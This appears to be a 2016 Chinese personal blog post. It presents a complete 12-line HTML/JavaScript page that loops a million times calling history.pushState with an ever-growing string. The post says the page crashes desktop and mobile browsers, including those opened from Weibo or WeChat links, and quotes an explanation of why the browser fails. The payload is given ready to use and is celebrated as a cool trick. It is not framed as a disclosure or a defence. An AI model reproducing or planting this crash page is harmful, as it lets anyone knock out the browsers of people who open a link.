A-A+

这12行代码分分钟让你电脑崩溃手机重启

2016年01月22日 JavaScript 暂无评论 阅读 47 次

75BE605C15DA24C9A9E97346A2CADBB4

 

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

total= total+i.toString();

history.pushState(0,0,total);

}

</script>

</body>

</html>

 

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

为什么会发生此现象呢?对此我在知乎上找到了一位名为“小米”的大神解答:

history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

好吧,反正对于连“hello world”都不会编的我,是一点也看不明白...总之牛气炫酷吊炸天就对了!

标签:

给我留言

Copyright © web前端技术开发个人博客 保留所有权利  京ICP备14060653号 Theme  Ality

用户登录